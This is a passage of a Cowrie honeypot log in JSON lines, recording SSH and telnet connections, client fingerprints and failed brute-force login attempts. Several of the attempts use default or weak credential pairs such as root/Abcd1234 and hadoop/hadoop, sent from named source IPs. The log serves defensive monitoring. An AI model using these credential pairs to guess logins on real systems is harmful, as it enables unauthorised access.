ha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:18.112889Z","src_ip":"31.40.204.166","session":"eb5788162e8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:18.600423Z","src_ip":"31.40.204.166","session":"eb5788162e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:19.796793Z","src_ip":"31.40.204.166","session":"eb5788162e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56108,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cfcc34faa77","protocol":"telnet","message":"New connection: 152.42.224.71:56108 (10.17.0.5:23) [session: 3cfcc34faa77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:22.552131Z"}
{"eventid":"cowrie.session.closed","duration":37.56249260902405,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:23.052247Z","src_ip":"152.42.224.71","session":"354806b6b959","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.45986294746399,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:25.857606Z","src_ip":"152.42.224.71","session":"562b69900db0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.198899269104004,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:26.469404Z","src_ip":"152.42.224.71","session":"0f3849ad2460","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38722,"dst_ip":"10.17.0.5","dst_port":23,"session":"14af54a7a9d2","protocol":"telnet","message":"New connection: 152.42.224.71:38722 (10.17.0.5:23) [session: 14af54a7a9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:29.627061Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43684,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae25253c27a9","protocol":"ssh","message":"New connection: 31.40.204.166:43684 (159.203.135.109:22) [session: ae25253c27a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:29.884453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:29.897446Z","src_ip":"31.40.204.166","session":"ae25253c27a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:30.017790Z","src_ip":"31.40.204.166","session":"ae25253c27a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38730,"dst_ip":"10.17.0.5","dst_port":23,"session":"0182c08a68b0","protocol":"telnet","message":"New connection: 152.42.224.71:38730 (10.17.0.5:23) [session: 0182c08a68b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:30.687323Z"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:30.692988Z","src_ip":"31.40.204.166","session":"ae25253c27a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:31.892533Z","src_ip":"31.40.204.166","session":"ae25253c27a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38732,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ea153ed908c","protocol":"telnet","message":"New connection: 152.42.224.71:38732 (10.17.0.5:23) [session: 8ea153ed908c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:32.733703Z"}
{"eventid":"cowrie.session.closed","duration":120.00189065933228,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:40.545081Z","src_ip":"152.42.224.71","session":"642c0a3328e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37614,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b29f764b9c4","protocol":"ssh","message":"New connection: 31.40.204.166:37614 (159.203.135.109:22) [session: 5b29f764b9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:42.317596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:42.379677Z","src_ip":"31.40.204.166","session":"5b29f764b9c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:42.490540Z","src_ip":"31.40.204.166","session":"5b29f764b9c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:43.008365Z","src_ip":"31.40.204.166","session":"5b29f764b9c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36542,"dst_ip":"10.17.0.5","dst_port":23,"session":"559779a379a4","protocol":"telnet","message":"New connection: 152.42.224.71:36542 (10.17.0.5:23) [session: 559779a379a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:44.131451Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:44.181779Z","src_ip":"31.40.204.166","session":"5b29f764b9c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36554,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c4f7d9ce3d8","protocol":"telnet","message":"New connection: 152.42.224.71:36554 (10.17.0.5:23) [session: 2c4f7d9ce3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:45.177883Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34200,"dst_ip":"10.17.0.5","dst_port":23,"session":"75457fce9c71","protocol":"telnet","message":"New connection: 152.42.224.71:34200 (10.17.0.5:23) [session: 75457fce9c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:48.518096Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34202,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b9f8dca4783","protocol":"telnet","message":"New connection: 152.42.224.71:34202 (10.17.0.5:23) [session: 4b9f8dca4783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:49.351273Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34204,"dst_ip":"10.17.0.5","dst_port":23,"session":"15b5032883fb","protocol":"telnet","message":"New connection: 152.42.224.71:34204 (10.17.0.5:23) [session: 15b5032883fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:49.641379Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":39440,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1b3de555a6d","protocol":"ssh","message":"New connection: 47.237.167.49:39440 (159.203.135.109:22) [session: e1b3de555a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:50.322878Z"}
{"eventid":"cowrie.session.closed","duration":30.269054889678955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:52.821063Z","src_ip":"152.42.224.71","session":"3cfcc34faa77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43538,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c4c3efe6747","protocol":"ssh","message":"New connection: 31.40.204.166:43538 (159.203.135.109:22) [session: 5c4c3efe6747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:53.882919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:53.891858Z","src_ip":"31.40.204.166","session":"5c4c3efe6747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:54.019403Z","src_ip":"31.40.204.166","session":"5c4c3efe6747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:54.490211Z","src_ip":"31.40.204.166","session":"5c4c3efe6747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:55.697013Z","src_ip":"31.40.204.166","session":"5c4c3efe6747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":93.79263949394226,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:58.079007Z","src_ip":"152.42.224.71","session":"68172ed694a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.28168821334839,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:59.015285Z","src_ip":"152.42.224.71","session":"8ea153ed908c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.75.211.88","src_port":44486,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7fb74519828","protocol":"telnet","message":"New connection: 186.75.211.88:44486 (159.203.135.109:23) [session: f7fb74519828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:17:59.479499Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43672,"dst_ip":"10.17.0.5","dst_port":23,"session":"58846115dab0","protocol":"telnet","message":"New connection: 152.42.224.71:43672 (10.17.0.5:23) [session: 58846115dab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:02.891861Z"}
{"eventid":"cowrie.session.closed","duration":51.42999529838562,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:04.206683Z","src_ip":"152.42.224.71","session":"0d367972a309","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47622,"dst_ip":"159.203.135.109","dst_port":22,"session":"7482532f5d29","protocol":"ssh","message":"New connection: 31.40.204.166:47622 (159.203.135.109:22) [session: 7482532f5d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:05.717641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:05.722749Z","src_ip":"31.40.204.166","session":"7482532f5d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:05.883310Z","src_ip":"31.40.204.166","session":"7482532f5d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:06.500662Z","src_ip":"31.40.204.166","session":"7482532f5d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52352,"dst_ip":"10.17.0.5","dst_port":23,"session":"45cda8c46864","protocol":"telnet","message":"New connection: 152.42.224.71:52352 (10.17.0.5:23) [session: 45cda8c46864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:07.539368Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:07.705294Z","src_ip":"31.40.204.166","session":"7482532f5d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":97.27268767356873,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:07.901509Z","src_ip":"152.42.224.71","session":"8cb58ae0e846","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52354,"dst_ip":"10.17.0.5","dst_port":23,"session":"05d67679a5a8","protocol":"telnet","message":"New connection: 152.42.224.71:52354 (10.17.0.5:23) [session: 05d67679a5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:08.805676Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52370,"dst_ip":"10.17.0.5","dst_port":23,"session":"003846021daa","protocol":"telnet","message":"New connection: 152.42.224.71:52370 (10.17.0.5:23) [session: 003846021daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:09.468496Z"}
{"eventid":"cowrie.session.closed","duration":7.767225027084351,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:10.658958Z","src_ip":"152.42.224.71","session":"58846115dab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":47240,"dst_ip":"159.203.135.109","dst_port":22,"session":"63764966437d","protocol":"ssh","message":"New connection: 87.251.79.125:47240 (159.203.135.109:22) [session: 63764966437d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:12.533533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:12.538249Z","src_ip":"87.251.79.125","session":"63764966437d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:12.610240Z","src_ip":"87.251.79.125","session":"63764966437d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kamila","message":"login attempt [root/kamila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:12.825541Z","src_ip":"87.251.79.125","session":"63764966437d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.37173342704773,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:12.851148Z","src_ip":"186.75.211.88","session":"f7fb74519828","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:13.900222Z","src_ip":"87.251.79.125","session":"63764966437d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52396,"dst_ip":"10.17.0.5","dst_port":23,"session":"aafc92678d6a","protocol":"telnet","message":"New connection: 152.42.224.71:52396 (10.17.0.5:23) [session: aafc92678d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:14.966967Z"}
{"eventid":"cowrie.session.closed","duration":44.43834686279297,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:15.125564Z","src_ip":"152.42.224.71","session":"0182c08a68b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33744,"dst_ip":"10.17.0.5","dst_port":23,"session":"103fbe3125dc","protocol":"telnet","message":"New connection: 152.42.224.71:33744 (10.17.0.5:23) [session: 103fbe3125dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:16.771536Z"}
